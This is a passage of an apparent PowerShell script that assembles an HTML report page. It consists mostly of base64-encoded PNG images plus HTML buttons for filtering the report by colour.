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\" class = peass_image><br>\r\n        <div class = \"div_redyellow\">\r\n            <button type=\"button\" class=\"btn_redyellow\"> Only RedYellow </button>\r\n            <button type=\"button\" class=\"btn_red_redyellow\"> Only Red + RedYellow </button><br>\r\n            <button type=\"button\" class=\"btn_restore\"> All Colors </button>\r\n            <button type=\"button\" class=\"btn_show_all\"> Show All </button>\r\n            <button type=\"button\" class=\"btn_hide_all\"> Hide All </button>\r\n        </div>\r\n\"@\r\n\r\n$body = @\"\r\n<body>\r\n        <img src=\"data:image/png;base64,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